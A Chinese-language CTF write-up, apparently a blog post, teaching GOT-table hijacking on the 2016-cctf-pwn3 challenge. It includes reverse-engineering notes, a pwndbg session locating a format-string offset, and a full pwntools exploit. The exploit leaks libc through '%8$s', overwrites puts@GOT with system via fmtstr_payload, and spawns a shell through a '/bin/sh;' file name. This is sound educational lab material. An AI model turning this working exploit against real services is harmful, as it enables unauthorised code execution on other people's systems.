hijack GOT

原理:

现在的C程序中,libc的函数是通过GOT表来实现跳转的。在没有开启RELRO保护的前提下,每个libc的函数对应的GOT表项是可以被修改的。因此修改某个libc函数的GOT表内容为另一个libc函数的地址来实现对程序的控制。比如我们前面ret2libc3就利用这种方式找到了system函数。
假设我们将函数A的地址覆盖为函数B的地址,那么这一攻击技巧可以分为以下步骤
1.确定函数A的got表地址(在程序中已有,利用简单的寻址方法来找)
2.确定函数B的内存地址(想办法泄露对应函数B的地址)
3.将函数B内存写入到函数A的got表地址处(需要里利用函数的漏洞来触发)
例:
写入函数:write函数
ROP

pop eax; ret; # printf@got -> eax
pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx
add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset

格式化字符串任意地址写

题目 2016-cctf-pwn3

检查保护

在这里插入图片描述

IDA分析程序

在这里插入图片描述
这是main函数,起始的ask_username函数和ask_password函数应该就是检查登录的函数,可以看到当command = 2时执行put_file函数,command = 3时执行show_dir函数,command = 1时执行get_file函数(判断条件应该是ida解析的时候出现问题了,应该都没有“!”)
先查看ask_username函数和ask_password函数
在这里插入图片描述在这里插入图片描述

可以看到上面ask_password函数检验正确的密码应该是“sysbdmin”,但是下面ask_username函数将我们输入的字符串按位向后移动了一位,也就是说我们正常输入“abc”,ask_username函数就会将我们输入的“abc”变成“bcd”。所以只要我们将“sysbdmin”每个字母往前移一个变成“rxraclhm”,经过ask_username函数修改之后就变成正确的密码了
接下来看一下登录成功之后都有哪些操作:
在这里插入图片描述
有三个操作分别是“get”、“put”、“dir”,其他字符,分别对应返回值为1、2、3、4,也就是说我们登录进去之后输入“get”就会执行get_file函数,输入“put”就会执行put_file函数,输入“dir”就会执行show_dir函数,输入任何其他的字符都会退出程序,分别看一些执行的几个函数:
put_flie
在这里插入图片描述
这个函数会让我们输入两次,首先第一次会让我们输入一个要上传的文件名,第二次会让我们输入该文件的文件内容。因为外面是一个循环,所以可以多次输入不同的文件名及文件内容
show_dir
在这里插入图片描述
这个函数会将我们输入的文件名放在变量s当中,并且通过puts函数打印出来
get_file
在这里插入图片描述
这个函数会有一次输入,让我们选择要打印的文件,并且打印出我们输入的文件内容,并且能够在最后看到很明显的格式化字符串漏洞

思路

大体思路:通过格式化字符串漏洞把 libc 泄露出来,再通过 libc 计算得到 system 的地址,把 system 的地址写道 puts 的 GOT 表项上,当执行程序 dir 功能的时候,因为有个 puts 函数,如果我们输入的参数是 ‘/bin/sh’ 实际上就会执行 system(‘/bin/sh’)
确定字符串格式化偏移
先在ida中查看危险函数的地址
在这里插入图片描述
地址为0x0804889E
接下来动态调试

pwndbg> b *0x0804889e
Breakpoint 1 at 0x804889e
pwndbg> r
Starting program: /home/fanfan/Desktop/Basic question type/pwn3 
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm
welcome!
ftp>put
please enter the name of the file you want to upload:fanfan
then, enter the content:AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p
ftp>get
enter the file name you want to get:fanfan

Breakpoint 1, 0x0804889e in get_file ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX  0xffffd38c ◂— 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p'
 EBX  0x0
*ECX  0x804b5f0 ◂— '%p%p%p'
*EDX  0xffffd3a4 ◂— '%p%p%p'
*EDI  0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0xffffd488 —▸ 0xffffd4d8 ◂— 0x0
*ESP  0xffffd370 —▸ 0xffffd38c ◂— 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p'
*EIP  0x804889e (get_file+168) —▸ 0xfffc1de8 ◂— 0xfffc1de8
─────[ DISASM / i386 / set emulate on ]─────
 ► 0x804889e <get_file+168>      call   printf@plt                     <printf@plt>
        format: 0xffffd38c ◂— 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p'
        vararg: 0x804b5d8 ◂— 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p'
 
   0x80488a3 <get_file+173>      leave  
   0x80488a4 <get_file+174>      ret    
 
   0x80488a5 <get_command>       push   ebp
   0x80488a6 <get_command+1>     mov    ebp, esp
   0x80488a8 <get_command+3>     sub    esp, 0x28
   0x80488ab <get_command+6>     lea    eax, [ebp - 0xc]
   0x80488ae <get_command+9>     mov    dword ptr [esp + 4], eax
   0x80488b2 <get_command+13>    mov    dword ptr [esp], 0x8048bc5
   0x80488b9 <get_command+20>    call   __isoc99_scanf@plt                     <__isoc99_scanf@plt>
 
   0x80488be <get_command+25>    mov    dword ptr [esp + 8], 3
─────────────────[ STACK ]──────────────────
00:0000│ esp 0xffffd370 —▸ 0xffffd38c ◂— 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p'
01:0004│     0xffffd374 —▸ 0x804b5d8 ◂— 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p'
02:0008│     0xffffd378 ◂— 0x4
03:000c│     0xffffd37c —▸ 0x804a080 (stdout@@GLIBC_2.0) —▸ 0xf7fb3d20 (_IO_2_1_stdout_) ◂— 0xfbad2887
04:0010│     0xffffd380 —▸ 0xf7fb1a74 ◂— 0x0
05:0014│     0xffffd384 ◂— 0x7d4
06:0018│     0xffffd388 —▸ 0xf7fb12a0 (_IO_helper_jumps) ◂— 0x0
07:001c│ eax 0xffffd38c ◂— 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p'
───────────────[ BACKTRACE ]────────────────
 ► f 0 0x804889e get_file+168
   f 1 0x80486c9 main+92
   f 2 0xf7de2ed5 __libc_start_main+245
pwndbg> c
Continuing.
AAAA0x804b5d80x40x804a0800xf7fb1a740x7d40xf7fb12a00x414141410x702570250x702570250x702570250x702570250x702570250x70257025ftp>

所以字符串偏移量为7
找system函数地址
在这里插入图片描述用到的是/lib/i386-linux-gnu/libc.so.6这个库,载入一下

libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = puts_addr-libc.symbols['puts']
sys_addr = libc.symbols['system']

覆盖puts函数
之前已经用过puts_flie函数和get_file函数,接下来就该使用show_dir函数
在这里插入图片描述
这个函数是将我们输入的文件名放在变量s中,最后作为puts的参数打印出来。所以只要将puts函数替换成system函数,并且我命创建一个一个叫"/bin/sh"的文件名,就可以getshell。
覆盖过程依然是利用格式化字符串进行覆盖,学到了一个pwntools的一个函数fmtstr_payload:
在这里插入图片描述
这个函数主要的用途是利用格式化字符串漏洞覆盖某处地址,所以我们覆盖的payload格式为:

payload = fmtstr_payload(7,{puts_got:sys_addr})
7为偏移量  puts_got:被覆盖的地址  sys_addr:覆盖的地址 

回顾思路

输入密码——输入put创建文件——输入文件名"/bin/sh;“——输入文件内容(覆盖的payload)——输入get打印文件内容——输入文件名”/bin/sh:"执行覆盖

exp

from pwn import *
context.log_level = 'debug'
sh = process('./pwn3')
pwn3 = ELF('./pwn3')
sh.recvuntil(b'Name (ftp.hacker.server:Rainism):')
sh.sendline(b'rxraclhm')
puts_got = pwn3.got['puts']
sh.sendline(b'put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(b'godarcher')
sh.recvuntil('then, enter the content:')
payload = b'%8$s'+p32(puts_got)
sh.sendline(payload)
sh.sendline(b'get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline(b'godarcher')
puts_addr = u32(sh.recv()[:4])
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = puts_addr-libc.symbols['puts']
sys_addr=libc.symbols['system']
payload = fmtstr_payload(7,{puts_got:sys_addr})
sh.sendline(b'put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(b'/bin/sh;')
sh.recvuntil('then, enter the content:')
sh.sendline(payload)
sh.recvuntil('ftp>')
sh.sendline(b'get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline(b'/bin/sh;')
sh.sendline(b'dir')
sh.interactive()


成功getshell

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值